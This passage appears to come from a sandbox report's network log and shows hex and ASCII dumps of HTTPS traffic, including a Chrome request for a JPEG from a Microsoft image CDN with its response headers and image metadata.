98 9b 76 dd 11 98 e7 74 ca c0 55 12 1f 99 8f e3 f0 d6 4c 99 55 d7 93 41 4f 1e db 31 b0 e1 87 b6 ad 2e 3a 74 02 2b 5a 0e 
7f 9e bd 35 ae b1 93 cd 7b 2c de 0c f7 cd 32 b3 b7 3d 85 f1 f6 ca 1c b5 92 c2 cd c8 a9 f7 71 3c 85 35 e5 6d b2 67 a9 aa 
b0 cc a7 6b dc c7 87 f9 46 16 26 54 df b3 95 11 8c 44 e0 b5 09 e5 46 f5 17 7f 66 93 5b c4 b2 d7 46 9d bd f9 2e 26 e0 d3 
6c d9 f3 be 3b 41 8e 26 2e 1c 29 22 be 84 7a ae ba db 93 96 b4 8c a3 e4 0f 2a f1 0c af 29 de d5 76 c5 39 79 b2 49 54 b4 
dd 70 ad 7a 89 fe fa ea 34 d9 d6 4e 8b eb 9c 8e b6 2f 
Data Ascii: 4}UpU7O1ZHAw Vv#u3b0s tH]mn9vtULUAO1.:t+Z5{,2=q<5mgkF&TDFf[F.&l;A&.)"z*)v9yITpz4N/

2022-06-08 07:56:17 UTC 5899 IN Data Raw: 92 5a ee db 9f 05 57 ed bf 8b ee fb a6 da d9 7e 4b 2f 77 22 59 3b 8a b2 20 12 08 c0 e0 8f c3 96 b9 dd 3b 32 
ee fd 49 69 77 1d c7 c3 33 c6 56 7b c6 bb 3d d4 ea e0 e8 a7 95 bc 78 a0 f5 d6 6b 5d 5e 42 ef ba c1 a0 66 ee 8b 3e 5c 19 
38 b2 a8 c3 64 00 91 c4 b5 dc ad fe 5d 7a 3b 6d c4 1e 7e ba 61 a7 c9 5b dc b7 2d b7 6a c4 99 26 97 f6 fb 8c b6 b7 02 cc 
dc 6d 5d 79 d6 69 49 df 4a b6 7c b3 f7 87 c8 be b7 c8 21 45 89 e0 7c 72 ab 11 07 ab e2 b4 a7 1b ab a5 ab c1 6b 28 e4 
bb ec 9e 0f bc 79 e6 4a e7 6f 51 36 30 92 20 a4 9b 84 9c 3e 75 f9 7a bd 75 ae 5e 11 9d 92 46 d3 b2 f8 56 c9 b4 ed bd ad 
94 2c 79 ac b6 99 6d ab 70 f5 73 ab 57 5a 5f a9 cd 6d 8d bc f0 58 f6 1f 15 c3 89 84 d9 45 67 ce 00 5f 29 00 16 1f c3 5d 14 
d5 3c 9c f7 da d7 04 96 7a e3 c0 7b 4a 0f 1e 3c 06 ae d2 
Data Ascii: ZW~K/w"Y; ;2Iiw3V{=xk]^Bf>\8d]z;m~a[-j&m]yiIJ|!E|rk(yJoQ60 >uzu^FV,ympsWZ_mXEg_)]<z{J<

2022-06-08 07:56:17 UTC 5915 IN Data Raw: 78 8e 29 33 91 27 c4 86 96 9a 71 51 f1 00 fa 8d 6a d4 c5 7b 57 8e 4d 7b 68 91 24 c7 23 0e 64 65 a0 a3 2f 33 
f8 36 bd 9d 78 58 3c 6d 99 7e e4 34 cf db a4 7c 88 ee 20 af 1b 8f af f6 6b 9a f5 73 93 a6 97 51 81 9e f1 0c b1 cf 13 c3 15 
42 71 2d 5f 68 1a 2c da 32 89 30 5c a8 b7 d5 60 18 86 4f 6a b7 fa 75 bd bb 87 5e 83 bd a1 72 b2 a1 7b cd a1 4d bc a8 69 
f1 d3 d1 36 84 d8 d2 63 9c 6c 71 16 31 84 93 24 a0 dc a3 f8 f3 d5 a9 54 91 2b 5a 59 ff d6 f9 b7 27 32 66 67 39 2e c0 40 
02 9e d8 bc 51 7a 89 af 21 5f 53 ee d2 55 c9 ea 33 c4 b2 46 00 9b 16 f5 28 a8 39 d6 d5 63 d3 77 f8 bf 1d 3b 4e 05 4d 49 
11 3b cb 16 5b 46 cc d5 75 0c 18 37 00 0f 30 07 2a 0d 4a 70 51 ac 9d b0 77 c8 85 62 b8 db ed 67 2c 6a 78 54 90 7f 56 aa 
9b 68 93 69 31 ce 47 92 3b aa 43 89 1a b4 60 15 2e 78 
Data Ascii: x)3'qQj{WM{h$#de/36xX<m~4| ksQBq-_h,20\`Oju^r{Mi6clq1$T+ZY'2fg9.@Qz!_SU3F(9cw;NMI;[Fu70*
JpQwbg,jxTVhi1G;C`.x

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 5931 IN Data Raw: a1 92 62 d9 73 10 ad 18 6a 80 4f 1e 81 e8 35 e9 6b 69 2f c9 e6 ec 4d bf c1 ff d0 f9 77 2f 7e dc 20 0d b4 7d 54 
8b 8c ef 71 56 76 31 82 3e 6b 07 36 15 d7 27 c6 b9 3d 8e f0 58 f0 32 72 b0 bc 71 bc 81 f3 27 19 a6 67 45 b1 c5 3b 56 8b 
9c d6 f6 37 37 4d bd 1c 3a aa 75 cd 6f e5 d4 bd 5f b6 46 bb 6c ed 9d 8c ab 8d 8d 24 92 48 b7 24 aa 81 cb 31 3c 17 b7 20 
6e 9a 7f f1 8f 85 da e9 54 8c b6 45 da 78 26 70 3c 4b 3b 74 ca 6c 6d f5 25 c1 0c 97 4d 90 c6 08 a3 82 3a 1b 2b 1b 13 27 
59 14 f9 28 7e 3a 8f cd 0b 19 2b f1 cf 27 7c 2f b4 bb 0e f7 9b 3e 36 2e 56 42 c5 14 6c f0 5d 1d 5a 71 18 15 91 28 8b d0 df 
f0 91 6e 77 d4 df d9 b2 59 48 df 86 ac 63 91 f6 9f 75 f1 af 20 c6 db 56 68 5a 79 c1 14 9d 92 2e dd 45 48 90 b9 b1 1e 9f cd 
77 cb c0 9a 6a eb 72 b2 96 88 bd 7d 59 36 23 f0 
Data Ascii: bsjO5ki/Mw/~ }TqVv1>k6'=X2rq'gE;V77M:uo_Fl$H$1< nTEx&p<K;tlm%M:+'Y(~:+'|/>6.VBl]Zq(nwYHcu 
VhZy.EHwjr}Y6#

2022-06-08 07:56:17 UTC 5939 IN Data Raw: c4 b7 38 27 e1 5d 56 97 5e 44 b5 2c f8 31 fd b5 37 ed ab ee 12 66 c9 dd 8f 6b cb 70 67 a9 52 02 a9 25 0b a0 
3e 9f dd aa ad d5 e2 4d b6 a6 d1 f5 67 f5 f8 26 db 9b 25 19 1c d0 d0 d7 98 1f 96 bd 1a ed c4 9e 3b d4 d3 83 36 fe 99 2e 
4e 52 ef d3 10 d6 dd db b3 83 04 6e 77 0f 5d 78 db 2d 66 e5 1e ce b4 92 ea 32 ce db f2 77 0c 69 16 4e bc 46 35 54 e1 5a 
8f ee fe dd 73 cb 65 f0 99 54 8e 07 f1 68 1e 6c 39 29 8b 2b d4 40 69 6a bd 7a 82 95 e5 5d 41 9d 0b 26 89 e1 5b b9 dc 63 
33 b9 11 4d 27 00 89 c4 ad 07 ad 46 bd 1f ae fc 9e 6f d8 51 81 c8 c7 cd 9f 71 38 fd 2d 8e a2 e6 2f c5 ab f9 7a 69 2f 2e d0 
3d 5a 55 93 d7 f4 96 87 ba 61 90 c6 1a a6 a3 8d 34 ea 98 11 df d4 cc b7 cd 83 2f 33 39 17 6f 46 97 19 e3 61 28 97 e7 3e 
8c a0 d3 8e a4 e9 27 4a ba 5c 9b 4f db 0d aa 1d 83 c6 
Data Ascii: 8']V^D,17fkpgR%>Mg&%;6.NRnw]x-f2wiNF5TZseThl9)+@ijz]A&[c3M'FoQq8-/zi/.=ZUa4/39oFa(>'J\O

2022-06-08 07:56:17 UTC 5955 IN Data Raw: b0 ed 30 46 22 31 85 50 4a 81 ea 78 9a eb d8 d3 af a5 56 0f 27 76 ce f6 79 2a df 70 36 cc 9f 2a c5 6c 47 17 
63 8e a2 80 db 55 1c ee d4 f6 f6 b7 05 b5 35 51 9f 8e ed fb 76 d3 e3 cf 85 e3 a5 22 77 4e 04 71 00 8e 04 71 f8 69 f5 e1 
7e 49 ec cd bf 04 97 db 07 de 21 c3 93 03 7d 01 a6 59 0a a4 8b f3 a7 30 48 f8 eb 75 3c c3 0d e9 72 8e 7b ea e2 6d d0 cd 
6a de 81 d8 da 01 e1 4f d3 f8 eb 9b 6d 15 64 be ab 3b 41 8e ed 59 d1 6e f9 0f 26 42 3c 66 5b d1 4b ff 00 98 c0 1a ad 54 
f0 e5 af 32 e8 f5 53 2f 9e 1c 73 73 b6 d8 b1 f7 48 9a 68 55 99 16 ad 42 eb 5e 9a fc 29 cb 56 a3 9c 3e 0e 6b a8 ca e4 b1 
6e 7e 6f 8f b6 63 20 30 3c 51 c2 40 60 68 6c 51 c0 f1 1c 35 d7 7d aa 21 1c d4 d4 e6 59 37 8d 91 b6 ee 78 6d 95 04 81 e0 
98 54 ba 9a 7f 78 e5 a6 49 44 93 72 9c 0d f1 b7 3c 18 f7 
Data Ascii: 0F"1PJxV'vy*p6*lGcU5Qv"wNqqi~I!}Y0Hu<r{mjOmd;AYn&B<f[KT2S/ssHhUB^)V>kn~oc 0<Q@`hlQ5}!Y7x
mTxIDr<

2022-06-08 07:56:17 UTC 5971 IN Data Raw: f8 eb d2 a2 e8 a0 f3 2c fb be c5 43 ee c6 f5 2e c9 b6 4f 97 0c 94 46 5a 30 8c 0b 94 fc a6 df 9b f1 d3 dd 9b a9 
1f 2e 6c 7e 55 e5 3b 6e 56 56 e8 f8 39 19 3b 7e 42 88 e5 9a 18 ca 90 07 22 38 7c b5 af 4e a4 da 6a 24 e9 69 a7 c1 f5 7f 
89 6e d2 e2 f8 ae 00 cc 32 ac 76 2a 93 3a 85 2e 18 7c 7f d1 eb a4 f9 1c 12 7a fd c3 ed a3 67 db e3 c3 c8 86 07 2f 3c 80 
b0 72 84 2a 29 e4 a2 9e ab ac 55 ac 1b 6b 5a 46 be 35 e3 9b 17 89 44 70 30 95 6d a9 96 59 18 d5 dd d8 f5 13 a9 4a 92 
ae 59 6d 8f 09 64 45 c8 91 c2 c1 fa 57 95 3f 3d 74 d6 89 e5 9c b6 bb 58 5c 90 5b bc 1b 19 ba 79 14 38 6e 93 d2 78 af c3 
4b 6e 8b 23 d7 bb c1 1f 87 91 14 88 d8 f0 44 8d 0d bf b6 4b f2 1f 03 f8 e9 7b a7 84 3f 46 b2 d9 9c ef 1b b6 16 36 76 5c 76 
20 9d 42 dc 58 d4 a0 f4 35 3e 9a e3 b6 4e ca 95 84 f3 
Data Ascii: ,C.OFZ0.l~U;nVV9;~B"8|Nj$in2v*:.|zg/<r*)UkZF5Dp0mYJYmdEW?=tX\[y8nxKn#DK{?F6v\v BX5>N

2022-06-08 07:56:17 UTC 5978 IN Data Raw: 9f e1 b8 fb a7 86 6d d9 92 4c 8b f4 cf fb 94 63 59 0b d3 a8 d4 73 e5 eb a6 d7 6b 51 64 8e ca d6 ed 41 eb ed 
a7 9f c1 e7 b9 13 ed f8 d1 b4 30 42 7f 7f ba ad 71 af 2b 7e 5f 4e 3a ae ab 3b 38 27 b6 8a aa 7c 9a 86 36 4c d0 b1 86 21 
6c 48 68 bf 88 f8 eb b6 b6 6b 08 e1 b5 53 cb 26 7f a8 24 68 5a 6a 2f 0a 71 e5 ae cf 93 d4 e3 f8 fd 0a 44 93 aa b4 f9 69 35 
f0 42 8c 54 28 e2 59 8f 2f f6 75 c1 19 6c f4 3c 25 02 6e 7b cb c1 b6 7d 5c e7 b5 23 80 91 96 e1 56 23 81 00 f2 d6 6c d9 
15 93 69 ae 6d 05 29 7e e4 e2 6c d8 a3 13 2d 08 64 6a 49 21 15 42 c4 fa 53 8e bc fa 6e 85 07 a1 6d 12 e4 ae ef 3e 6f 04 
d9 13 66 ab 91 89 8e 00 be 38 4d 6a de 8b ea da e6 bd a5 9d 35 a4 23 46 fb 59 b6 e2 e5 61 b7 93 3d e9 14 b7 3c 46 42 
41 22 94 2e ca dc 57 fc 3a f5 7e 9e 8f f7 b3 c9 fb 9b bf 
Data Ascii: mLcYskQdA0Bq+~_N:;8'|6L!lHhkS&$hZj/qDi5BT(Y/ul<%n{}\#V#lim)~l-djI!BSnm>of8Mj5#FYa=<FBA".W:~

2022-06-08 07:56:17 UTC 5994 IN Data Raw: fe 3a b6 cb ab 2f 69 1d 74 75 7e e2 17 65 d9 f7 1c 60 53 35 ab 33 92 cc f4 e0 7e 00 7e 5a e6 ae bb 27 0c ea 
be ca bc a2 d5 b7 ed b8 ea 2d 9b aa 42 29 c7 8e bb a9 a9 2e 4e 0b ed 6f 82 bf 26 c8 b3 c9 2c 11 90 1d 4d 4b 9f 4a 9a d0 
6b 97 e2 96 d2 3a be 58 49 b1 dc bb 44 81 46 5b 16 04 0b 69 f0 d6 bd 4f 93 16 df 06 7b e4 52 c2 d5 fa 34 91 32 f1 65 49 
55 24 5a 47 30 f5 5b f9 10 7d 0f a1 d7 2d 92 a9 d9 46 df e8 59 bf ab 61 79 21 18 10 66 76 d9 d0 30 15 e2 a7 d5 78 fc 39 
6a ff 00 22 be 13 39 be 37 4c b4 49 47 36 d5 e3 98 af 2c cf 6b 32 da 2f 27 a8 af 2a ea 95 75 d7 c8 8d 5b 63 84 57 db cf 
76 e5 c6 32 ca ae 8c 4b 06 b5 4d 01 1c c0 f8 8d 71 bd c9 9d 8b 43 44 36 5f df 5f 0c db 71 05 f3 f7 25 52 2a 9c 6b cf 89 a5 
39 0f 5d 74 56 d8 e0 8d b5 39 e4 ba ec be 61 b5 6f 58 
Data Ascii: :/itu~e`S53~~Z'-B).No&,MKJk:XIDF[iO{R42eIU$ZG0[}-FYay!fv0x9j"97LIG6,k2/'*u[cWv2KMqCD6__q
%R*k9]tV9aoX

2022-06-08 07:56:17 UTC 6010 IN Data Raw: ba 6a ba d5 64 2d da cf 05 17 7e dc 36 dd b6 cc 88 33 15 33 00 75 68 54 82 ce 9e 8a b5 1e d1 f9 70 d7 3b 78 
c1 d3 5a bf 26 6f ba f9 d6 1e 46 e5 85 87 8d 34 cf 89 3d 56 59 21 a9 78 fe 35 a7 b8 7f 0d 65 17 32 3d 9c 70 6a 9b 2c 18 
cb 84 72 f1 f3 24 7c 55 60 6f 99 54 03 f8 0e 0a 6b f9 eb 1a 5e 05 97 c3 3d 27 9d 6c fb 2e 04 fb b4 b1 81 85 15 43 4b 51 
ee 06 84 11 5d 62 b7 e0 d7 46 fc 9d b6 7f 30 db 77 ec 75 c8 c4 06 4c 77 4e f3 4c a2 b1 46 47 ca 5f db 77 f2 e9 3b 1b d4 
97 db 3c 74 6e 64 6f 39 cf 21 00 dd 0f 16 14 1e 9c 3f f3 d5 6a 9f 2c 9d ad 18 43 3d ff 00 32 70 6b 08 b1 08 37 d1 6b c0 7e 
1a 85 ed 25 a8 92 2a d8 9d ff 00 0e c1 9f 7f 46 69 e3 93 a9 92 76 0a 14 1f 54 34 a8 ff 00 09 d5 68 db c0 97 48 b1 f8 36 eb 
85 b9 6c cb b8 e3 cc 33 6e 94 bc 86 c0 4c 61 8f b0 
Data Ascii: jd-~633uhTp;xZ&oF4=VY!x5e2=pj,r$|U`oTk^='l.CKQ]bF0wuLwNLFG_w;<tndo9!?j,C=2pk7k~%*FivT4hH6l3nLa

2022-06-08 07:56:17 UTC 6018 IN Data Raw: d8 9f 5b 7e 52 35 e5 ee 52 f0 7a ba 5c 24 98 cf 1f 06 4c 8c 4c 5f ea 8c 25 9f 0d 9c f7 87 42 b9 61 4e a5 e5 5d 
72 43 68 e9 ec 93 c7 92 e3 e1 71 63 45 8a 10 aa a2 ab 55 89 20 1f e2 75 d5 a6 9e a7 2e fb 7a 13 be 65 24 93 e3 42 d8 
d5 25 1c 12 01 e0 cb 4e 22 ba ef dd 7c 1c 3a 29 9c 99 26 36 d7 9b b7 6e ed 91 8e c5 71 e4 6f dc 40 cd 62 01 c4 15 51 c2 
b5 e7 5d 78 2e 64 f7 53 50 5b b2 b3 d6 6d b2 73 b4 48 b9 39 9c 2f 4a 81 d4 39 2b 7e 93 af 47 16 ae 19 e7 ff 00 1b 64 63 
be 62 e2 ee 51 62 5d 3a 45 90 b4 69 e3 2c 03 8a 7c ab f1 e3 ae 3d ba a5 1d 7a b6 43 78 c1 90 f9 2f db 8c 6f 23 dd 57 b1 
21 ef 24 9d 12 23 f1 50 c7 8a d0 f2 a7 3d 72 51 78 3b 6d 6c 4b 35 ad 8f ed 2e c1 e2 fb 1f 6e 1c 71 26 71 8d 81 27 a8 dc 
78 9f e3 5d 7a eb 42 eb 2f 93 c7 7f 61 bb 7e 0f 9e fc f7 
Data Ascii: [~R5Rz\$LL_%BaN]rChqcEU u.ze$B%N"|:)&6nqo@bQ]x.dSP[msH9/J9+~GdcbQb]:Ei,|=zCx/o#W!$#P=rQx
;mlK5.nq&q'x]zB/a~

2022-06-08 07:56:17 UTC 6034 IN Data Raw: 3f 93 f5 0e 7a e8 ab 8c 7a 93 6a 4c a3 ef 1f 90 6f 70 66 6d 79 8b 6f f4 89 02 b0 0b c1 8a 13 52 9f a8 7f b5 ab 
e8 4b 22 6c fc 1a 57 9a cb b3 6f 5b 5e d8 36 a9 6b 86 ca b3 b2 03 40 c4 8e 28 f4 f9 86 a7 77 d3 f5 1f 5a 76 cb 37 af b3 
9e 5f b4 ef fe 3a 70 71 54 a4 98 08 23 78 8d 78 0a 74 b2 93 cd 4e bd 4d 17 4e a7 8f f6 28 d5 e7 d4 ac 79 d9 de 72 b0 86 
3e d1 91 24 22 69 6c 3c 01 7a 1f 51 5f 4a 6b c4 dd 67 e0 f6 74 d5 79 0f 1a fb 7b 8b e3 b8 92 cf 15 c9 34 e9 6b 33 31 26 
ef 56 af 31 5d 25 6a e2 58 d6 ba 6e 11 48 f2 2f b8 5e 3b f6 ef c8 b0 a5 dd 7f e7 73 a2 05 0b 05 0d 2a a3 73 20 a8 ff 00 f1 
b4 fa e6 67 c1 9b 2b 35 8e 0b 8e e1 0e 06 e5 8a fe 5d b2 bb e5 34 d1 9a 8b ed 54 51 d4 aa ca 68 54 8f 87 bb 5e 93 d7 db 
28 f3 96 c8 f6 b2 8f 83 bd f8 2f dc 0c 08 1b 75 c9 
Data Ascii: ?zzjLopfmyoRK"lWo[^6k@(wZv7_:pqT#xxtNMN(yr>$"il<zQ_Jkgty{4k31&V1]%jXnH/^;s*s g+5]4TQhT^(/u

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 6050 IN Data Raw: a5 d7 03 bc cf 16 7c c9 b3 e1 39 2f 36 4c 91 84 58 c8 34 1f 06 23 fb b4 cb 06 76 92 3b ed 6f 85 6d 5e 11 3c b9 
5b b9 29 9c e6 8b 51 55 50 7f 49 d6 76 ed c9 ad 42 c1 6d f3 8d fe 39 60 a2 4d 00 b5 96 88 e4 2d 7f b7 43 5d 8c af b4 c9 
f7 9c fd ab ca 31 e7 cd df 65 c7 ee 6d f2 ac 80 c5 29 26 d5 21 a8 57 e3 e9 c3 58 a8 ea e1 79 19 d9 3e 7c 1d fc d3 6b cf fb 
bc d8 59 3b 1d 13 6c 68 96 44 69 38 12 bc 98 aa fc 47 c0 eb ae 9e d5 1e 4e 6b 39 2f bf 66 76 3d 97 ed d6 7e 56 36 33 4f 
2c 99 71 af 79 d9 81 09 6f 2e 9a 0a 5d 5d 3e bd d9 f7 12 db a6 56 0b 26 e5 bb 60 43 bb 1c 0d cb f7 13 26 a6 18 e4 20 5c 
40 e4 bf 13 f8 69 e6 7f 41 55 61 63 93 39 c5 fb 9f e3 7e 30 8d e3 c5 18 99 a5 92 20 b2 0a f6 99 cd 15 89 3f 25 7d 75 5d 
75 13 61 f3 bf 9a e1 8c 0f 30 18 d0 98 c3 bd 04 ac 
Data Ascii: |9/6LX4#v;om^<[)QUPIvBm9`M-C]1em)&!WXy>|kY;lhDi8GNk9/fv=~V63O,qyo....V&`C& \@iAUac9~0 ?%}u]ua0

2022-06-08 07:56:17 UTC 6058 IN Data Raw: 97 71 93 ed 7f b7 5e 51 87 e4 de 05 87 bd 64 02 d2 34 14 94 13 75 cc 38 1f ed 3a 1a 59 fc 1c f9 95 1e 4c e3 
7c fb 55 93 e4 7b df f5 69 25 a6 0e 4c 4f 03 42 09 06 84 74 d3 f1 53 e8 da e7 ef 0a 0e 92 af 89 b1 ec 5f 68 b2 1b 0f 6d b2 
3d c6 75 29 7b 75 31 af c0 37 26 fc 35 8e f6 b6 5f 83 7a 24 b0 5c b6 2c dd db 25 93 00 67 2c f8 cb 2a c8 3e a0 05 6a 73 
64 14 a5 ac be 9a d7 b7 b6 0c f8 fa e4 8a fb 99 06 34 d7 4d 96 17 1b 11 5c d4 c8 2a 09 f4 75 23 f1 d4 1c a7 83 a2 bc 1a 
07 86 6c 8f 9d b7 41 b9 6f b5 ef 08 95 1c b5 09 e8 3d 0c a7 e0 47 fe ba 6a a4 f2 f8 23 7b 35 84 45 ef 1e 3b 17 96 ef 10 c8 
72 65 86 3c 79 6f 8d a3 00 70 03 93 0f c7 f2 d4 dd a7 08 aa 50 b2 4e ee be 55 8b b5 63 b4 bb 79 56 9c 37 6c 12 2e 62 c3 
58 ec 91 aa 8d f2 67 de 4b e4 f1 ee be 39 27 f5 62 
Data Ascii: q^Qd4u8:YL|U{i%LOBtS_hm=u){u17&5_z$\,%g,*>jsd4M\*u#lAo=Gj#{5E;re<yopPNUcyV7l.bXgK9'b

2022-06-08 07:56:17 UTC 6074 IN Data Raw: 4b 02 29 43 4e 3f df ab 44 32 7c 8f 36 ad 87 7b dd a5 5c 2c 2a 98 b1 96 eb 07 21 4f d4 7f 1d 4a fb 15 72 ca 56 
8d f0 68 fb be 57 dc cd cb c4 b2 70 a2 86 59 36 c2 2d 60 e8 0c 97 1e 06 df 5b 75 cc af 55 68 f0 59 d1 b5 25 4f 64 d9 71 f6 
fc 24 ce dc 66 91 fb 68 03 c3 25 51 83 0e 60 0f 50 35 cf b3 dc f0 5e be d5 93 54 ff 00 b3 50 bb 9f dc cc 8c b8 02 f6 63 c6 
94 da c3 8d 09 00 5b f8 eb d3 d1 5e ad 1e 56 fb 4a 67 db de 4d bd e6 63 ce 91 61 da 13 8d e5 87 f6 53 55 dd b5 a7 08 96 
9d 49 a9 65 62 0c 7c a9 72 84 a4 29 52 0d 19 47 0f c4 1d 70 2a bb 39 3b 9d 95 54 0d 7c 8e 2d dc f0 db 0a ac 61 6b 73 71 
20 fa d0 72 d5 2d 5b 2e 04 a5 aa f9 2a d9 a8 fb be dc c7 73 50 d3 02 52 3b c5 45 48 e6 a7 5c d9 f2 74 a8 4f 06 59 87 b1 
6e 39 4d 2c 53 20 c8 cc 8d c8 56 53 63 2a 8f 45 
Data Ascii: K)CN?D2|6{\,*!OJrVhWpY6-`[uUhY%Odq$fh%Q`P5^TPc[^VJgMcaSUIeb|r)RGp*9;T|-aksq r-[.*sPR;EH\
tOYn9M,S VSc*E

2022-06-08 07:56:17 UTC 6090 IN Data Raw: 94 b7 1c e9 23 a3 1b a8 b4 fc 57 96 ba 76 bf 6a f5 39 b5 ff 00 26 bc 22 03 12 0c e8 49 dc 23 52 61 c7 62 b2 01 
4e 47 e6 e3 f0 d4 f5 d3 12 53 65 b3 04 86 7f 86 61 79 26 62 c9 92 ab 91 84 10 38 e3 ee 27 f1 1e 9a a5 b5 cb 27 5d ae a8 
bc 60 78 fe 56 16 d3 f4 78 32 76 51 47 40 50 05 07 c3 86 ba b5 ea b2 ae 19 c7 7d b5 76 96 06 59 b6 7c 36 50 ed 26 48 
50 49 73 5a fe 3a db 3e 88 12 ee ca 17 90 6f 7b 8b e5 40 d0 37 ef 3b 80 4f c0 7a 90 35 e4 df 7b 6c f5 69 a2 a9 13 f8 d9 
bb 97 8f 31 77 6f aa 85 b8 9b fd c3 f2 23 5d 74 b3 a9 c9 6a ab fe 07 59 5b 96 d9 b8 63 1c da f6 99 45 43 03 c0 9f 81 3c b5 
6b 75 b2 92 35 56 ab 83 22 83 6a d9 77 0d ff 00 17 75 8e 69 56 47 9a e9 52 ea 80 ca 7a 5a ba e0 4d 26 7a 4e 60 fa 66 2c 
b8 a1 81 59 98 10 47 3a eb de 56 49 1f 3e ea db 2b fe 
Data Ascii: #Wvj9&"I#RabNGSeay&b8'']`xVx2vQG@P}vY|6P&HPIsZ:>o{@7;Oz5{li1wo#]tjY[cEC<ku5V"jwuiVGRzZM&
zN`f,YG:VI>+

2022-06-08 07:56:17 UTC 6098 IN Data Raw: 1f 54 a1 e5 c7 56 d1 75 5c 33 9b 7d 1d b2 8b 77 8f ee 79 8a 7b 19 d3 c6 d5 66 2b 69 f4 af b7 5d 54 da f8 67 
25 f5 ae 51 d7 79 32 4b 57 8c d5 07 20 3f 0d 4b 6b 76 2b ad 2a 95 d8 76 84 dc 0f f5 89 0b 23 28 2b 1c 6e 29 69 f5 3a e6 
f8 a7 27 4f cb 1e d3 92 e3 4d 97 23 2c 92 10 91 1a 70 35 2c 34 8a 46 70 56 33 cc 79 f2 c9 b4 43 15 d8 35 ea 84 9b 78 fa 
f2 d4 2d b5 cc 23 a2 ba f1 2c ae e5 e3 49 e2 4a cf 1c 08 d1 82 6d 8c 03 50 3f 0f 5a ea 6e d9 29 12 8d 2f 65 f2 48 77 2d 
93 1c ab 10 8c b4 29 4e a1 f8 1f 55 d7 5a db 35 83 8d ea 8b 49 65 f1 1c 7f e9 d3 06 9e 61 61 62 50 70 f5 f8 9d 76 fd 7a f5 
72 d9 c5 f6 2d d9 42 46 80 f9 31 2a 16 04 1f e3 af 6b b1 e3 f5 63 69 33 d2 25 b9 68 78 70 03 53 77 48 a2 a3 65 5b 7d 97 
3b 70 a4 21 8f 6c 8f 62 8e 1f c7 5e 66 eb da f8 47 a5 
Data Ascii: TVu\3}wy{f+i]Tg%Qy2KW ?Kkv+*v#(+n)i:'OM#,p5,4FpV3yC5x-#,IJmP?Zn)/eHw-)NUZ5IeaabPpvzr-BF1
*kci3%hxpSwHe[};p!lb^fG

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

58 192.168.2.3 49788 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:16 UTC 1092 OUT GET /cms/api/am/imageFileData/RE4YgQP?ver=6c2f HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-06-08 07:56:16 UTC 1093 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4YgQP?ver=6c2f
Last-Modified: Tue, 07 Jun 2022 23:58:39 GMT
X-Source-Length: 1693776
X-Datacenter: northeu
X-ActivityId: 4c1bfc8f-9a4b-4bdf-b4ab-0f576e6a469c
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1693776
Cache-Control: public, max-age=403328
Expires: Sun, 12 Jun 2022 23:58:24 GMT
Date: Wed, 08 Jun 2022 07:56:16 GMT
Connection: close
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2022-06-08 07:56:16 UTC 1094 IN Data Raw: ff d8 ff e1 17 25 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 38 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: %ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:58:328"

2022-06-08 07:56:16 UTC 1173 IN Data Raw: 8f f4 5f 9f 1c f7 ff 00 3f f9 df fd 93 55 99 5b f2 98 0e 45 0e a2 ba 98 e3 90 0d 82 25 a5 f5 35 b7 65 31 cd fd 1d 
2d a9 fb bd 07 7f 3b 6f ac 8f f6 af f8 06 ff 00 37 ea 7f 83 fe 67 f7 bf 9a fe 67 ff 00 01 4a d5 4f ff d9 00 38 42 49 4d 04 21 00 
00 00 00 00 57 00 00 00 01 01 00 00 00 0f 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 
00 6f 00 70 00 00 00 14 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 20 
00 32 00 30 00 32 00 30 00 00 00 01 00 38 42 49 4d 04 06 00 00 00 00 00 07 00 04 00 01 00 01 01 00 ff e1 17 c6 68 74 
74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 
6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 
Data Ascii: _?U[E%5e1-;o7ggJO8BIM!WAdobe PhotoshopAdobe Photoshop 20208BIMhttp://ns.adobe.com/xap/1.0/<?
xpacket begin="" id="W5

